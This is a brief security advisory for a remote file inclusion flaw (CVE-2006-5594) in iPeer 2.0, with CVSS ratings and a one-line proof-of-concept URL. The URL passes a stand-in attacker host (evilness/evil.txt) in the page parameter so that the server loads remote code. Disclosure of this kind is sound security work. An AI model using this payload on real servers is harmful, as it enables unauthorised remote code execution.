IPEER Remote file inclusion

2006.10.31

Credit: navairum

Risk: High

Local: No

Remote: Yes

CVE: CVE-2006-5594

CWE: CWE-Other

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

Product:http://ipeer.apsc.ubc.ca/ipeer_site/
version: 2.0 (I assume others too)

vulnerability:
http://some_host/ipeer_site/?page=http://evilness/evil.txt?

See this note in RAW Version

Vote for this issue:

50%

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

IPEER Remote file inclusion

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

IPEER Remote file inclusion

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.